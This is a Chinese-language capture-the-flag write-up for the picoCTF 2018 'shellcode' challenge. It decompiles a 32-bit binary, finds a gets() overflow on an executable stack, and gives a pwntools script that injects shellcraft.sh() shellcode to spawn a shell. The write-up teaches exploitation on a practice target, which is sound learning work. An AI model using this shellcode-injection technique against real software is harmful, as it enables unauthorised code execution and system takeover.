picoctf_2018_shellcode

准备


32 位,什么保护都没开

分析

main函数

反编译的时候发现问题,反编译不了

根据提示修改 0x804891D的汇编


(改为 nop 自认为看函数影响不大)
然后反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char Enter_a_string_[148]; // [esp+8h] [ebp-A0h] BYREF
int v5; // [esp+9Ch] [ebp-Ch]

setvbuf(stdout, 0, 2, 0);
v5 = getegid();
setresgid(v5, v5, v5);
puts("Enter a string!");
vuln(Enter_a_string_);
puts("Thanks! Executing now...");
return 0;
}

有一个 vuln 函数,参数为 Enter_a_string_

vuln函数

1
2
3
4
5
int __cdecl vuln(const char *Enter_a_string_)
{
gets(Enter_a_string_);
return puts(Enter_a_string_);
}

gets 函数,存在缓冲区溢出

思路:

这题保护全没开,有栈溢出,但没什么用处
因为 gdb 查看

栈上是可读可写可执行的
再看 ida 的栈情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
-00000000000000A8 // Use data definition commands to manipulate stack variables and arguments.
-00000000000000A8 // Frame size: A8; Saved regs: 4; Purge: 0
-00000000000000A8
-00000000000000A8 // padding byte
-00000000000000A7 // padding byte
-00000000000000A6 // padding byte
-00000000000000A5 // padding byte
-00000000000000A4 // padding byte
-00000000000000A3 // padding byte
-00000000000000A2 // padding byte
-00000000000000A1 // padding byte
-00000000000000A0 char Enter_a_string_[148];
-000000000000000C _DWORD var_C;
-0000000000000008 // padding byte
-0000000000000007 // padding byte
-0000000000000006 // padding byte
-0000000000000005 // padding byte
-0000000000000004 _DWORD var_4;
+0000000000000000 _DWORD __saved_registers;
+0000000000000004 _UNKNOWN *__return_address;
+0000000000000008 int argc;
+000000000000000C const char **argv;
+0000000000000010 const char **envp;
+0000000000000014
+0000000000000014 // end of stack variables

输入点到返回地址的距离是 0xA0+4(164),足够大
所以这里可以直接生成 shellcode 获得 shell

1
2
3
io.recvuntil(b'Enter a string!')
shellcode=asm(shellcraft.sh())
io.send(shellcode)

脚本

1
2
3
4
5
6
7
8
9
from pwn import *
context(os='linux',log_level = 'debug',arch='i386')
# io=remote('node5.buuoj.cn',26357)
io= process('/home/motaly/shellcode')

io.recvuntil(b'Enter a string!')
shellcode=asm(shellcraft.sh())
io.send(shellcode)
io.interactive()